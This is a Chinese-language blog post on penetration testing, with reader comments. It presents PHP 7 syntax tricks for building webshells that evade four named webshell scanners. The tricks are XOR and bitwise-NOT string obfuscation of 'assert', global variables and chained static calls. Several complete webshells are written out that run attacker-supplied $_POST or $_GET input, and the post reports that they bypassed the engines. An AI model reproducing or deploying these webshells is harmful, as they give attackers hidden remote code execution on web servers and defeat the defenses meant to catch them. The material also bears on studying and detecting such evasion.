ma4ter

熬过无人问津的日子才能拥有诗和远方.

利用php7的特性bypass 4webshell查杀引擎

渗透测试 5 评 1053 读

五一快乐,今天一个人去看了《你的婚礼》,ma的浪费了人生中的两个小时,我一点都不感动,剧情过于狗血,好了进入正题,分享一下利用php7的特性进行bypass 4webshell查杀引擎(百度,长亭,D盾,安全狗)

百度webdir+: https://scanner.baidu.com/

长亭webshellchop: https://webshellchop.chaitin.cn/

d盾:http://www.d99net.net/

网站安全狗:https://www.safedog.cn/website_safedog.html

PHP7的新语法

请输入图片描述请输入图片描述

我们看到这行语句在php5的环境下报错了 而在php7下却正常 其实这是php7的一个新语法

我找到了这篇文章:https://www.bbsmax.com/A/A7zg1YD154/

其中有一个特性是 解析任意表达式

直接看下面的示例:

<?php
// (expression) is array
(expression)['key']; 
// (expression) is a class object
(expression)->foo();
(expression)->prop;
// (expression) is a class name
(expression)::$foo;
(expression)::foo();
// (expression) is a string
(expression){0};
// (expression) is a callable object
(expression)();

这意味着expression可以是一个字符串的形式 然后用括号将其包裹起来就可以进行上面这些方式的调用

这就为我们在php7环境的免杀提供了很多方便 我们可以将字符串进行异或,取反等等操作来避免对字符串的查杀

嵌套使用 ::

如果Foo::bar()返回一个静态类的名字,我们可以这样访问它的静态成员或者调用静态方法:

<?php
Foo::bar()::$staticProp;
Foo::bar()::$staticMethod();

要注意的是这些语法是会在php5环境下出错的

姿势1

异或

请输入图片描述

我们将某个字符与其他字符进行异或然后再异或回来进行字符串拼接

('a'.(urldecode('%12')^'a')."s"."ert")($_POST[1]);

请输入图片描述

我们上传进行检测一下

请输入图片描述

虽然直接报了5级,但是不要慌,因为后面我发现长亭的这个引擎是因为杀了后面的$_POST[1]参数

我们利用global全局变量的方式进行bypass

<?php
$b=$_GET[1];
function ma4ter()
{
    global $b;
    ('a' . (urldecode('%12') ^ 'a') . "s" . "ert")($b);
}
ma4ter();

长亭马上变哑巴:

请输入图片描述

我们还可以构造一个类的形式 然后进行实例化

<?php
class ma4ter{
    protected $a="aasdaAasd";
    public function __construct($a){
        $this->a=$a;
     ('a'.(urldecode('%12')^'a')."s"."ert")($this->a);
    }
}
new ma4ter(@$_POST[1]);

请输入图片描述

可以看到很轻松的就过了四引擎

当然还有很多函数例如call_user_func call_user_func_array等等都可以这样玩

取反

请输入图片描述

<?php

class ma4ter{
    protected $a="aasdaAasd";
    public function __construct($a){
        $this->a=$a;
       ((~urldecode('%9E'))."s"."s"."ert")($this->a);
    }
}
new ma4ter(@$_POST[1]);

4引擎:

请输入图片描述

请输入图片描述

当然还有很多玩法 比如位非 位与进行位运算 随意发挥

姿势2

请输入图片描述

这段代码的意思是访问ma4ter中静态方法 这个方法返回了字符串assert 然后将其当作类名访问其静态方法 静态方法里面再次调用静态方法实现了assert()的调用 但是我们会发现这样被某亭当作了5级 但是不要慌 经过fuzz发现是传参这里被拦截了

请输入图片描述

我们可以通过global使用全局变量的形式进行绕过

请输入图片描述

<?php
$b=$_GET[1];
class ma4ter{
    public static function method(){
        return "assert";
    }
}
class assert{
    static function staticMethod(){
        global $b;
        return ma4ter::method()($b);
    }
}
ma4ter::method()::staticMethod();

当然我这里只是抛砖引玉 只举出了我觉得比较好用的两个特性 php7当中还有更多好用作Bypass的新特性等着发掘

5 评论
    m1khChrome 90Windows 10
    6月3日回复

    学习了

    wuerrorChrome 90Windows 10
    5月6日回复

    牛哇

      ma4terSafari iPhone
      5月6日回复

      @wuerror 太菜了呜呜呜

    特特QQ Browser 6Android
    5月5日回复

    牛逼呀!ma4大牛子

      ma4terChrome 89Windows 10
      5月5日回复

      @特特 别骂了tete师傅呜呜呜